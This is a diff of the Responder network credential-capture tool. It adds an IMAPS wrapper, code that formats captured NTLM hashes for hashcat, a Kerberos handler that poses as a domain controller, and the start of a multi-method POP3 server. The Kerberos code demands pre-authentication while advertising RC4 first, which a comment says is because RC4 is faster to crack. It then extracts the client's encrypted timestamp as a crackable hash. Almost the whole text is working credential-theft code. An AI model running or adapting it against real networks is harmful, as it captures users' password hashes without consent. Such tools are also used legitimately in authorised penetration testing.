ntlmv2_response = ntlm_response[:16]
ntlmv2_blob = ntlm_response[16:]
challenge = type2_msg[24:32]
hash_str = "%s::%s:%s:%s:%s" % (
user,
domain,
hexlify(challenge).decode(),
hexlify(ntlmv2_response).decode(),
hexlify(ntlmv2_blob).decode()
)
if settings.Config.Verbose:
print(text('[IMAP] NetNTLMv2 hash format (hashcat -m 5600)'))
return {
'module': 'IMAP',
'type': 'NetNTLMv2',
'client': self.client_address[0],
'user': user,
'domain': domain,
'hash': hash_str,
'fullhash': hash_str
}
else:
ntlm_hash = ntlm_response[:24]
challenge = type2_msg[24:32]
if lm_offset + lm_len <= len(type3_msg) and lm_len == 24:
lm_hash = type3_msg[lm_offset:lm_offset+lm_len]
else:
lm_hash = b'\x00' * 24
hash_str = "%s::%s:%s:%s:%s" % (
user,
domain,
hexlify(lm_hash).decode(),
hexlify(ntlm_hash).decode(),
hexlify(challenge).decode()
)
if settings.Config.Verbose:
print(text('[IMAP] NetNTLMv1 hash format (hashcat -m 5500)'))
return {
'module': 'IMAP',
'type': 'NetNTLMv1',
'client': self.client_address[0],
'user': user,
'domain': domain,
'hash': hash_str,
'fullhash': hash_str
}
except Exception as e:
return None
except Exception:
pass
class IMAPS(IMAP):
"""IMAP over SSL (port 993) - SSL wrapper that inherits from IMAP"""
def setup(self):
"""Setup SSL socket before handling - called automatically by SocketServer"""
try:
# Get SSL certificate paths from Responder config
cert_path = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
key_path = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
if not os.path.exists(cert_path) or not os.path.exists(key_path):
if settings.Config.Verbose:
print(text('[IMAPS] SSL certificates not found'))
self.request.close()
return
# Create SSL context
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain(cert_path, key_path)
# Wrap socket in SSL before IMAP handles it
self.request = context.wrap_socket(self.request, server_side=True)
# Mark as already in TLS so STARTTLS isn't advertised
self.tls_enabled = True
if settings.Config.Verbose:
print(text('[IMAPS] SSL connection from %s' %
self.client_address[0].replace("::ffff:", "")))
except ssl.SSLError as e:
# Client rejected self-signed cert - suppress expected errors
if 'ALERT_BAD_CERTIFICATE' not in str(e) and settings.Config.Verbose:
print(text('[IMAPS] SSL handshake failed: %s' % str(e)))
try:
self.request.close()
except:
pass
except Exception as e:
if 'Bad file descriptor' not in str(e) and settings.Config.Verbose:
print(text('[IMAPS] SSL setup error: %s' % str(e)))
try:
self.request.close()
except:
pass
# handle() method is inherited from IMAP class - no need to override!

View File

@@ -16,134 +16,722 @@
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import codecs
import struct
import time
from utils import *
if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
# Kerberos encryption types
ENCRYPTION_TYPES = {
b'\x01': 'des-cbc-crc',
b'\x03': 'des-cbc-md5',
b'\x11': 'aes128-cts-hmac-sha1-96',
b'\x12': 'aes256-cts-hmac-sha1-96',
b'\x13': 'rc4-hmac',
b'\x14': 'rc4-hmac-exp',
b'\x17': 'rc4-hmac',
b'\x18': 'rc4-hmac-exp',
}
def ParseMSKerbv5TCP(Data):
MsgType = Data[21:22]
EncType = Data[43:44]
MessageType = Data[32:33]
def parse_asn1_length(data, offset):
"""Parse ASN.1 length field (short or long form)"""
if offset >= len(data):
return 0, 0
first_byte = data[offset]
# Short form (length < 128)
if first_byte < 0x80:
return first_byte, 1
# Long form
num_octets = first_byte & 0x7F
if num_octets == 0 or offset + 1 + num_octets > len(data):
return 0, 0
length = 0
for i in range(num_octets):
length = (length << 8) | data[offset + 1 + i]
return length, 1 + num_octets
if MsgType == b'\x0a' and EncType == b'\x17' and MessageType ==b'\x02':
if Data[49:53] == b'\xa2\x36\x04\x34' or Data[49:53] == b'\xa2\x35\x04\x33':
HashLen = struct.unpack('<b',Data[50:51])[0]
if HashLen == 54:
Hash = Data[53:105]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[153:154])[0]
Name = Data[154:154+NameLen].decode('latin-1')
DomainLen = struct.unpack('<b',Data[154+NameLen+3:154+NameLen+4])[0]
Domain = Data[154+NameLen+4:154+NameLen+4+DomainLen].decode('latin-1')
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
return BuildHash
def encode_asn1_length(length):
"""Encode length in ASN.1 format"""
if length < 128:
return struct.pack('B', length)
# Long form
length_bytes = []
temp = length
while temp > 0:
length_bytes.insert(0, temp & 0xFF)
temp >>= 8
num_octets = len(length_bytes)
result = struct.pack('B', 0x80 | num_octets)
for byte in length_bytes:
result += struct.pack('B', byte)
return result
if Data[44:48] == b'\xa2\x36\x04\x34' or Data[44:48] == b'\xa2\x35\x04\x33':
HashLen = struct.unpack('<b',Data[45:46])[0]
if HashLen == 53:
Hash = Data[48:99]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[147:148])[0]
Name = Data[148:148+NameLen].decode('latin-1')
DomainLen = struct.unpack('<b',Data[148+NameLen+3:148+NameLen+4])[0]
Domain = Data[148+NameLen+4:148+NameLen+4+DomainLen].decode('latin-1')
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
return BuildHash
elif HashLen == 54:
Hash = Data[53:105]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[148:149])[0]
Name = Data[149:149+NameLen].decode('latin-1')
DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen].decode('latin-1')
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
return BuildHash
else:
Hash = Data[48:100]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[148:149])[0]
Name = Data[149:149+NameLen].decode('latin-1')
DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen].decode('latin-1')
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
return BuildHash
return False
def extract_principal_name(data):
"""Extract principal name from AS-REQ - searches in req-body only"""
try:
# Look for [4] req-body tag first to avoid PA-DATA
req_body_offset = None
for i in range(len(data) - 100):
if data[i:i+1] == b'\xa4': # [4] req-body
req_body_offset = i
break
if req_body_offset is None:
return "user"
# Search for [1] cname AFTER req-body starts
search_start = req_body_offset
search_end = min(search_start + 150, len(data) - 20)
for i in range(search_start, search_end):
# Look for GeneralString (0x1b) with reasonable length
if data[i:i+1] == b'\x1b':
name_len = data[i+1] if i+1 < len(data) else 0
if 1 < name_len < 30 and i + 2 + name_len <= len(data):
name = data[i+2:i+2+name_len].decode('latin-1', errors='ignore')
# Validate: printable, no control chars, looks like username
if (name and
name.isprintable() and
name.isascii() and
not any(c in name for c in ['\x00', '\n', '\r', '\t']) and
all(c.isalnum() or c in '.-_@' for c in name)):
return name
return "user"
except:
return "user"
def ParseMSKerbv5UDP(Data):
MsgType = Data[17:18]
EncType = Data[39:40]
def extract_realm(data):
"""Extract realm from AS-REQ - searches in req-body only"""
try:
# Look for [4] req-body tag first
req_body_offset = None
for i in range(len(data) - 100):
if data[i:i+1] == b'\xa4': # [4] req-body
req_body_offset = i
break
if req_body_offset is None:
return settings.Config.MachineName.upper()
# Search for realm AFTER req-body starts
search_start = req_body_offset + 10
search_end = min(search_start + 150, len(data) - 20)
for i in range(search_start, search_end):
# Look for GeneralString (0x1b) with reasonable length
if data[i:i+1] == b'\x1b':
realm_len = data[i+1] if i+1 < len(data) else 0
# Realm should be 5-50 chars (like "DOMAIN.LOCAL")
if 5 < realm_len < 50 and i + 2 + realm_len <= len(data):
realm = data[i+2:i+2+realm_len].decode('latin-1', errors='ignore')
# Validate: printable ASCII, contains dot, looks like domain
if (realm and
realm.isprintable() and
realm.isascii() and
'.' in realm and
realm.count('.') >= 1 and realm.count('.') <= 5 and
not any(c in realm for c in ['\x00', '\n', '\r', '\t', '/', ':', ' ']) and
all(c.isalnum() or c in '.-' for c in realm)):
return realm
return settings.Config.MachineName.upper()
except:
return settings.Config.MachineName.upper()
if MsgType == b'\x0a' and EncType == b'\x17':
if Data[40:44] == b'\xa2\x36\x04\x34' or Data[40:44] == b'\xa2\x35\x04\x33':
HashLen = struct.unpack('<b',Data[41:42])[0]
if HashLen == 54:
Hash = Data[44:96]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[144:145])[0]
Name = Data[145:145+NameLen].decode('latin-1')
DomainLen = struct.unpack('<b',Data[145+NameLen+3:145+NameLen+4])[0]
Domain = Data[145+NameLen+4:145+NameLen+4+DomainLen].decode('latin-1')
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
return BuildHash
elif HashLen == 53:
Hash = Data[44:95]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[143:144])[0]
Name = Data[144:144+NameLen].decode('latin-1')
DomainLen = struct.unpack('<b',Data[144+NameLen+3:144+NameLen+4])[0]
Domain = Data[144+NameLen+4:144+NameLen+4+DomainLen].decode('latin-1')
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
return BuildHash
else:
Hash = Data[49:101]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[149:150])[0]
Name = Data[150:150+NameLen].decode('latin-1')
DomainLen = struct.unpack('<b',Data[150+NameLen+3:150+NameLen+4])[0]
Domain = Data[150+NameLen+4:150+NameLen+4+DomainLen].decode('latin-1')
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
return BuildHash
return False
def find_msg_type(data):
"""Find Kerberos message type by parsing ASN.1 structure"""
try:
offset = 0
# Check APPLICATION tag
# [10] for AS-REQ (0x6a)
# [12] for TGS-REQ (0x6c)
if offset >= len(data):
return None, False, None, None
app_tag = data[offset]
if app_tag not in [0x6a, 0x6c]: # AS-REQ or TGS-REQ
return None, False, None, None
offset += 1
# Parse outer length
length, consumed = parse_asn1_length(data, offset)
if consumed == 0:
return None, False, None, None
offset += consumed
# SEQUENCE tag
if offset >= len(data) or data[offset] != 0x30:
return None, False, None, None
offset += 1
# Parse SEQUENCE length
seq_length, consumed = parse_asn1_length(data, offset)
if consumed == 0:
return None, False, None, None
offset += consumed
# [1] pvno
if offset >= len(data) or data[offset] != 0xa1:
return None, False, None, None
offset += 1
pvno_len, consumed = parse_asn1_length(data, offset)
offset += consumed + pvno_len
# [2] msg-type
if offset >= len(data) or data[offset] != 0xa2:
return None, False, None, None
offset += 1
msgtype_len, consumed = parse_asn1_length(data, offset)
offset += consumed
# INTEGER tag
if offset >= len(data) or data[offset] != 0x02:
return None, False, None, None
offset += 1
int_len, consumed = parse_asn1_length(data, offset)
offset += consumed
if offset >= len(data):
return None, False, None, None
msg_type = data[offset]
# Extract client name and realm for KRB-ERROR response
cname = extract_principal_name(data)
realm = extract_realm(data)
return msg_type, True, cname, realm
except:
return None, False, None, None
def extract_encrypted_timestamp(data):
"""
Extract encrypted timestamp from PA-ENC-TIMESTAMP in AS-REQ
Returns: (etype, cipher_hex) or (None, None)
"""
try:
# Look for PA-ENC-TIMESTAMP pattern: a1 03 02 01 02 (padata-type = 2)
for i in range(len(data) - 60):
# Look for the specific pattern that indicates PA-ENC-TIMESTAMP
if (i + 5 < len(data) and
data[i] == 0xa1 and data[i+1] == 0x03 and
data[i+2] == 0x02 and data[i+3] == 0x01 and
data[i+4] == 0x02): # padata-type = 2
# Now find [2] padata-value which should be right after
j = i + 5
if j < len(data) and data[j] == 0xa2: # [2] padata-value
j += 1
# Parse length of padata-value
pv_len, consumed = parse_asn1_length(data, j)
j += consumed
# Inside padata-value is OCTET STRING containing EncryptedData
if j < len(data) and data[j] == 0x04: # OCTET STRING
j += 1
octet_len, consumed = parse_asn1_length(data, j)
j += consumed
# Now we're inside EncryptedData SEQUENCE
if j < len(data) and data[j] == 0x30: # SEQUENCE
j += 1
seq_len, consumed = parse_asn1_length(data, j)
j += consumed
# Look for [0] etype
if j < len(data) and data[j] == 0xa0: # [0] etype
j += 1
etype_len, consumed = parse_asn1_length(data, j)
j += consumed
# INTEGER tag
if j < len(data) and data[j] == 0x02:
j += 1
int_len, consumed = parse_asn1_length(data, j)
j += consumed
etype = data[j] if j < len(data) else None
j += int_len
# Now look for [2] cipher (OCTET STRING)
if j < len(data) and data[j] == 0xa2: # [2] cipher
j += 1
cipher_tag_len, consumed = parse_asn1_length(data, j)
j += consumed
# OCTET STRING
if j < len(data) and data[j] == 0x04:
j += 1
cipher_len, consumed = parse_asn1_length(data, j)
j += consumed
if j + cipher_len <= len(data):
cipher = data[j:j+cipher_len]
cipher_hex = cipher.hex()
return etype, cipher_hex
return None, None
except Exception as e:
if settings.Config.Verbose:
print(text('[KERB] Error extracting timestamp: %s' % str(e)))
return None, None
def find_padata_and_etype(data):
"""
Search for PA-DATA and determine encryption type
Returns: (has_padata, etype) where etype is the encryption type number or None
"""
try:
# Look for [3] PA-DATA tag (0xa3)
for i in range(len(data) - 60):
if data[i:i+1] == b'\xa3':
# Found PA-DATA, now we need to check if it contains PA-ENC-TIMESTAMP
# Structure: [3] SEQUENCE OF { [1] padata-type, [2] padata-value }
# Look for [1] padata-type within next 30 bytes
has_pa_enc_timestamp = False
padata_value_offset = None
for j in range(i, min(i + 30, len(data) - 10)):
if data[j:j+1] == b'\xa1': # [1] padata-type
# Check if padata-type = 2 (PA-ENC-TIMESTAMP)
# Pattern: a1 03 02 01 02
if j + 4 < len(data) and data[j+1:j+5] == b'\x03\x02\x01\x02':
has_pa_enc_timestamp = True
# Next should be [2] padata-value
break
if not has_pa_enc_timestamp:
# PA-DATA exists but not PA-ENC-TIMESTAMP
# This is normal for first AS-REQ
return False, None
# Now look for [2] padata-value which contains EncryptedData
for j in range(i, min(i + 50, len(data) - 10)):
if data[j:j+1] == b'\xa2': # [2] padata-value
# Inside padata-value is EncryptedData
# Now look for [0] etype inside EncryptedData
for k in range(j, min(j + 30, len(data) - 5)):
if data[k:k+1] == b'\xa0': # [0] etype
# Pattern: a0 03 02 01 <etype>
if k + 4 < len(data) and data[k+1:k+3] == b'\x03\x02':
etype = data[k+4]
if settings.Config.Verbose:
etype_name = ENCRYPTION_TYPES.get(bytes([etype]), 'unknown')
print(text('[KERB] Found PA-ENC-TIMESTAMP with etype %d (%s)' % (etype, etype_name)))
return True, etype
# Found PA-DATA but couldn't determine etype
return True, None
return False, None
except:
return False, None
def build_krb_error(realm, cname, sname=None):
"""
Build KRB-ERROR response with PA-DATA for pre-authentication
KRB-ERROR ::= [APPLICATION 30] SEQUENCE {
pvno[0] INTEGER (5),
msg-type[1] INTEGER (30),
ctime[2] KerberosTime OPTIONAL,
cusec[3] INTEGER OPTIONAL,
stime[4] KerberosTime,
susec[5] INTEGER,
error-code[6] INTEGER,
crealm[7] Realm OPTIONAL,
cname[8] PrincipalName OPTIONAL,
realm[9] Realm,
sname[10] PrincipalName,
e-text[11] GeneralString OPTIONAL,
e-data[12] OCTET STRING OPTIONAL
}
"""
# Get current time
current_time = time.time()
time_str = time.strftime('%Y%m%d%H%M%SZ', time.gmtime(current_time))
susec = int((current_time - int(current_time)) * 1000000)
# Build sname (server name) - krbtgt/REALM@REALM
if sname is None:
sname = 'krbtgt'
# Build the inner SEQUENCE
inner = b''
# [0] pvno: 5
inner += b'\xa0\x03\x02\x01\x05'
# [1] msg-type: 30 (KRB-ERROR)
inner += b'\xa1\x03\x02\x01\x1e'
# [4] stime (server time)
# KerberosTime is GeneralizedTime (tag 0x18)
time_bytes = time_str.encode('ascii')
inner += b'\xa4' + encode_asn1_length(len(time_bytes) + 2) + b'\x18' + encode_asn1_length(len(time_bytes)) + time_bytes
# [5] susec (microseconds)
susec_bytes = struct.pack('>I', susec)
# Remove leading zeros
while len(susec_bytes) > 1 and susec_bytes[0] == 0:
susec_bytes = susec_bytes[1:]
inner += b'\xa5' + encode_asn1_length(len(susec_bytes) + 2) + b'\x02' + encode_asn1_length(len(susec_bytes)) + susec_bytes
# [6] error-code: 25 (KDC_ERR_PREAUTH_REQUIRED)
inner += b'\xa6\x03\x02\x01\x19'
# [9] realm (server realm)
realm_bytes = realm.encode('ascii')
inner += b'\xa9' + encode_asn1_length(len(realm_bytes) + 2) + b'\x1b' + encode_asn1_length(len(realm_bytes)) + realm_bytes
# [10] sname (server principal name)
# PrincipalName ::= SEQUENCE { name-type[0] Int32, name-string[1] SEQUENCE OF GeneralString }
sname_str = sname.encode('ascii')
realm_str = realm.encode('ascii')
# Build name-string SEQUENCE
name_string_seq = b''
# First component: service name (krbtgt)
name_string_seq += b'\x1b' + encode_asn1_length(len(sname_str)) + sname_str
# Second component: realm
name_string_seq += b'\x1b' + encode_asn1_length(len(realm_str)) + realm_str
# Wrap in SEQUENCE
name_string_wrapped = b'\x30' + encode_asn1_length(len(name_string_seq)) + name_string_seq
# Build name-string [1]
name_string_tagged = b'\xa1' + encode_asn1_length(len(name_string_wrapped)) + name_string_wrapped
# Build name-type [0] - type 2 (KRB_NT_SRV_INST)
name_type = b'\xa0\x03\x02\x01\x02'
# Build PrincipalName SEQUENCE
principal_seq = name_type + name_string_tagged
principal_wrapped = b'\x30' + encode_asn1_length(len(principal_seq)) + principal_seq
# Tag [10]
inner += b'\xaa' + encode_asn1_length(len(principal_wrapped)) + principal_wrapped
# [12] e-data (PA-DATA)
edata = build_pa_data(realm, cname)
inner += b'\xac' + encode_asn1_length(len(edata) + 2) + b'\x04' + encode_asn1_length(len(edata)) + edata
# Wrap in SEQUENCE
sequence = b'\x30' + encode_asn1_length(len(inner)) + inner
# Wrap in APPLICATION 30 tag
krb_error = b'\x7e' + encode_asn1_length(len(sequence)) + sequence
return krb_error
def build_pa_data(realm, cname):
"""
Build PA-DATA sequence for pre-authentication
PA-DATA ::= SEQUENCE {
padata-type[1] Int32,
padata-value[2] OCTET STRING
}
Returns SEQUENCE OF PA-DATA with:
- PA-ETYPE-INFO2 (19) - with RC4 first, then AES256
- PA-ENC-TIMESTAMP (2) - empty
- PA-PK-AS-REQ (16) - empty
- PA-PK-AS-REP-19 (15) - empty
"""
pa_data_list = b''
# 1. PA-ETYPE-INFO2 (type 19)
pa_etype_info2 = build_pa_etype_info2(realm, cname)
pa_data_list += build_single_pa_data(19, pa_etype_info2)
# 2. PA-ENC-TIMESTAMP (type 2) - empty padata-value
pa_data_list += build_single_pa_data(2, b'')
# 3. PA-PK-AS-REQ (type 16) - empty padata-value
pa_data_list += build_single_pa_data(16, b'')
# 4. PA-PK-AS-REP-19 (type 15) - empty padata-value
pa_data_list += build_single_pa_data(15, b'')
# Wrap in SEQUENCE
return b'\x30' + encode_asn1_length(len(pa_data_list)) + pa_data_list
def build_single_pa_data(padata_type, padata_value):
"""Build a single PA-DATA entry"""
inner = b''
# [1] padata-type
type_bytes = struct.pack('>I', padata_type)
# Remove leading zeros
while len(type_bytes) > 1 and type_bytes[0] == 0:
type_bytes = type_bytes[1:]
inner += b'\xa1\x03\x02\x01' + bytes([padata_type])
# [2] padata-value (OCTET STRING)
if len(padata_value) > 0:
inner += b'\xa2' + encode_asn1_length(len(padata_value) + 2) + b'\x04' + encode_asn1_length(len(padata_value)) + padata_value
else:
# Empty OCTET STRING
inner += b'\xa2\x02\x04\x00'
# Wrap in SEQUENCE
return b'\x30' + encode_asn1_length(len(inner)) + inner
def build_pa_etype_info2(realm, cname):
"""
Build PA-ETYPE-INFO2 structure
ETYPE-INFO2 ::= SEQUENCE OF ETYPE-INFO2-ENTRY
ETYPE-INFO2-ENTRY ::= SEQUENCE {
etype[0] Int32,
salt[1] GeneralString OPTIONAL,
s2kparams[2] OCTET STRING OPTIONAL
}
Returns entries for RC4 (etype 23) first, then AES256 (etype 18)
RC4 is preferred as it's much faster to crack
"""
# Build salt for AES: REALM + username (e.g., "SMB3.LOCALlgandx")
hostname = settings.Config.MachineName.lower()
salt_aes = realm + cname.lower()
salt_aes_bytes = salt_aes.encode('ascii')
entries = b''
# Entry 1: RC4-HMAC (etype 23 = 0x17)
# RC4 doesn't use salt in ETYPE-INFO2, only etype
inner_rc4 = b''
inner_rc4 += b'\xa0\x03\x02\x01\x17' # [0] etype: 23
# No salt field for RC4
entry_rc4 = b'\x30' + encode_asn1_length(len(inner_rc4)) + inner_rc4
entries += entry_rc4
# Entry 2: AES256 (etype 18 = 0x12)
inner_aes = b''
inner_aes += b'\xa0\x03\x02\x01\x12' # [0] etype: 18
inner_aes += b'\xa1' + encode_asn1_length(len(salt_aes_bytes) + 2) + b'\x1b' + encode_asn1_length(len(salt_aes_bytes)) + salt_aes_bytes
entry_aes = b'\x30' + encode_asn1_length(len(inner_aes)) + inner_aes
entries += entry_aes
# Wrap in SEQUENCE (ETYPE-INFO2 - SEQUENCE OF entries)
etype_info2 = b'\x30' + encode_asn1_length(len(entries)) + entries
return etype_info2
class KerbTCP(BaseRequestHandler):
"""Kerberos TCP handler (port 88)"""
def handle(self):
try:
data = self.request.recv(1024)
KerbHash = ParseMSKerbv5TCP(data)
if KerbHash:
n, krb, v, name, domain, d, h = KerbHash.split('$')
SaveToDb({
'module': 'KERB',
'type': 'MSKerbv5',
'client': self.client_address[0],
'user': domain+'\\'+name,
'hash': h,
'fullhash': KerbHash,
})
except:
pass
# TCP Kerberos uses 4-byte length prefix (Record Mark)
length_data = self.request.recv(4)
if len(length_data) < 4:
return
# Parse Record Mark (big-endian, high bit reserved)
msg_length = struct.unpack('>I', length_data)[0] & 0x7FFFFFFF
# Receive the Kerberos message
data = b''
while len(data) < msg_length:
chunk = self.request.recv(msg_length - len(data))
if not chunk:
return
data += chunk
# Parse Kerberos message
msg_type, valid, cname, realm = find_msg_type(data)
if not valid:
if settings.Config.Verbose:
print(text('[KERB] Invalid Kerberos message'))
return
if msg_type == 10: # AS-REQ
# Check if client sent PA-DATA
has_padata, etype = find_padata_and_etype(data)
if has_padata and etype:
# Client sent pre-auth data - extract the encrypted timestamp
etype_num, cipher_hex = extract_encrypted_timestamp(data)
if etype_num and cipher_hex:
etype_name = ENCRYPTION_TYPES.get(bytes([etype_num]), 'unknown')
if settings.Config.Verbose:
print(text('[KERB] AS-REQ with PA-ENC-TIMESTAMP from %s@%s (etype: %s)' % (cname, realm, etype_name)))
# Build the hash in hashcat format
if etype_num == 0x17 or etype_num == 0x18: # RC4 (23 = 0x17, 24 = 0x18)
# RC4 format: $krb5pa$23$user$realm$dummy$hash
# Flip: last 36 bytes + first 16 bytes (per Responder's ParseMSKerbv5TCP)
if len(cipher_hex) >= 32:
first_16_bytes = cipher_hex[0:32] # First 16 bytes
rest = cipher_hex[32:] # Rest (36 bytes)
flipped_hash = rest + first_16_bytes
hash_value = '$krb5pa$23$%s$%s$dummy$%s' % (cname, realm, flipped_hash)
else:
hash_value = '$krb5pa$23$%s$%s$dummy$%s' % (cname, realm, cipher_hex)
elif etype_num == 0x12: # AES256 (18)
checksum = cipher_hex[-24:]
salt = realm + cname
hash_value = '$krb5pa$18$%s$%s$%s$%s$%s' % (cname, realm, salt, cipher_hex, checksum)
elif etype_num == 0x11: # AES128 (17)
checksum = cipher_hex[-24:]
salt = realm + cname
hash_value = '$krb5pa$17$%s$%s$%s$%s$%s' % (cname, realm, salt, cipher_hex, checksum)
else:
hash_value = '$krb5pa$%d$%s$%s$%s' % (etype_num, cname, realm, cipher_hex)
# Log to database
SaveToDb({
'module': 'Kerberos',
'type': 'AS-REQ',
'client': self.client_address[0],
'user': cname,
'domain': realm,
'hash': hash_value,
'fullhash': hash_value
})
# Print the hash
if settings.Config.Verbose:
print(text('[KERB] Use hashcat -m 7500 (etype %d): %s' % (etype_num, hash_value)))
else:
if settings.Config.Verbose:
print(color('[KERB] AS-REQ with PA-DATA but could not extract hash from %s@%s' % (cname, realm), 1, 1))
else:
# First AS-REQ without pre-auth - send KRB-ERROR requiring pre-auth
if settings.Config.Verbose:
print(color('[KERB] AS-REQ from %s@%s - sending PREAUTH_REQUIRED' % (cname, realm), 2, 1))
# Build KRB-ERROR response
krb_error = build_krb_error(realm, cname)
# Send with Record Mark
response = struct.pack('>I', len(krb_error)) + krb_error
self.request.sendall(response)
if settings.Config.Verbose:
print(color('[KERB] Sent KRB-ERROR (PREAUTH_REQUIRED) to %s' % self.client_address[0], 2, 1))
elif msg_type == 12: # TGS-REQ
if settings.Config.Verbose:
print(text('[KERB] TGS-REQ from %s@%s (ignoring)' % (cname, realm)))
except Exception as e:
if settings.Config.Verbose:
print(text('[KERB] Error: %s' % str(e)))
class KerbUDP(BaseRequestHandler):
"""Kerberos UDP handler (port 88)"""
def handle(self):
try:
data, soc = self.request
KerbHash = ParseMSKerbv5UDP(data)
if KerbHash:
(n, krb, v, name, domain, d, h) = KerbHash.split('$')
SaveToDb({
'module': 'KERB',
'type': 'MSKerbv5',
'client': self.client_address[0],
'user': domain+'\\'+name,
'hash': h,
'fullhash': KerbHash,
})
except:
pass
data, socket_obj = self.request
# Parse Kerberos message
msg_type, valid, cname, realm = find_msg_type(data)
if not valid:
if settings.Config.Verbose:
print(text('[KERB] Invalid Kerberos message'))
return
if msg_type == 10: # AS-REQ
# Check if client sent PA-DATA
has_padata, etype = find_padata_and_etype(data)
if has_padata and etype:
# Client sent pre-auth data - extract the encrypted timestamp
etype_num, cipher_hex = extract_encrypted_timestamp(data)
if etype_num and cipher_hex:
etype_name = ENCRYPTION_TYPES.get(bytes([etype_num]), 'unknown')
if settings.Config.Verbose:
print(text('[KERB] AS-REQ with PA-ENC-TIMESTAMP from %s@%s (etype: %s)' % (cname, realm, etype_name)))
# Build the hash in hashcat format
if etype_num == 0x17 or etype_num == 0x18: # RC4 (23 = 0x17, 24 = 0x18)
if len(cipher_hex) >= 32:
first_16_bytes = cipher_hex[0:32]
rest = cipher_hex[32:]
flipped_hash = rest + first_16_bytes
hash_value = '$krb5pa$23$%s$%s$dummy$%s' % (cname, realm, flipped_hash)
else:
hash_value = '$krb5pa$23$%s$%s$dummy$%s' % (cname, realm, cipher_hex)
elif etype_num == 0x12: # AES256 (18)
checksum = cipher_hex[-24:]
salt = realm + cname
hash_value = '$krb5pa$18$%s$%s$%s$%s$%s' % (cname, realm, salt, cipher_hex, checksum)
elif etype_num == 0x11: # AES128 (17)
checksum = cipher_hex[-24:]
salt = realm + cname
hash_value = '$krb5pa$17$%s$%s$%s$%s$%s' % (cname, realm, salt, cipher_hex, checksum)
else:
hash_value = '$krb5pa$%d$%s$%s$%s' % (etype_num, cname, realm, cipher_hex)
# Log to database
SaveToDb({
'module': 'Kerberos',
'type': 'AS-REQ',
'client': self.client_address[0],
'user': cname,
'domain': realm,
'hash': hash_value,
'fullhash': hash_value
})
# Print the hash
print(color('[KERB] Kerberos 5 AS-REQ (etype %d): %s' % (etype_num, hash_value), 3, 1))
else:
if settings.Config.Verbose:
print(color('[KERB] AS-REQ with PA-DATA but could not extract hash from %s@%s' % (cname, realm), 1, 1))
else:
# First AS-REQ without pre-auth - send KRB-ERROR requiring pre-auth
if settings.Config.Verbose:
print(color('[KERB] AS-REQ from %s@%s - sending PREAUTH_REQUIRED' % (cname, realm), 2, 1))
# Build KRB-ERROR response
krb_error = build_krb_error(realm, cname)
# Send directly (no Record Mark for UDP)
socket_obj.sendto(krb_error, self.client_address)
if settings.Config.Verbose:
print(color('[KERB] Sent KRB-ERROR (PREAUTH_REQUIRED) to %s' % self.client_address[0], 2, 1))
elif msg_type == 12: # TGS-REQ
if settings.Config.Verbose:
print(text('[KERB] TGS-REQ from %s@%s (ignoring)' % (cname, realm)))
except Exception as e:
if settings.Config.Verbose:
print(text('[KERB] Error: %s' % str(e)))

File diff suppressed because it is too large Load Diff

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# email: lgaffie@secorizon.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
@@ -15,42 +15,440 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from utils import *
import base64
import hashlib
import codecs
import struct
if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
from packets import POPOKPacket,POPNotOKPacket
from packets import POPOKPacket, POPNotOKPacket
# POP3 Server class
class POP3(BaseRequestHandler):
"""POP3 server with multiple authentication methods"""
def __init__(self, *args, **kwargs):
self.challenge = None
self.username = None
BaseRequestHandler.__init__(self, *args, **kwargs)
def generate_challenge(self):
"""Generate challenge for APOP and CRAM-MD5"""
import time
import random
timestamp = int(time.time())
random_data = random.randint(1000, 9999)
# APOP format: <process-id.clock@hostname>
self.challenge = "<%d.%d@%s>" % (random_data, timestamp, settings.Config.MachineName)
return self.challenge
def send_packet(self, packet):
"""Send a packet to client"""
self.request.send(NetworkSendBufferPython2or3(packet))
def send_ok(self, message=""):
"""Send +OK response"""
if message:
response = "+OK %s\r\n" % message
else:
response = "+OK\r\n"
self.request.send(response.encode('latin-1'))
def send_err(self, message=""):
"""Send -ERR response"""
if message:
response = "-ERR %s\r\n" % message
else:
response = "-ERR\r\n"
self.request.send(response.encode('latin-1'))
def send_continue(self, data=""):
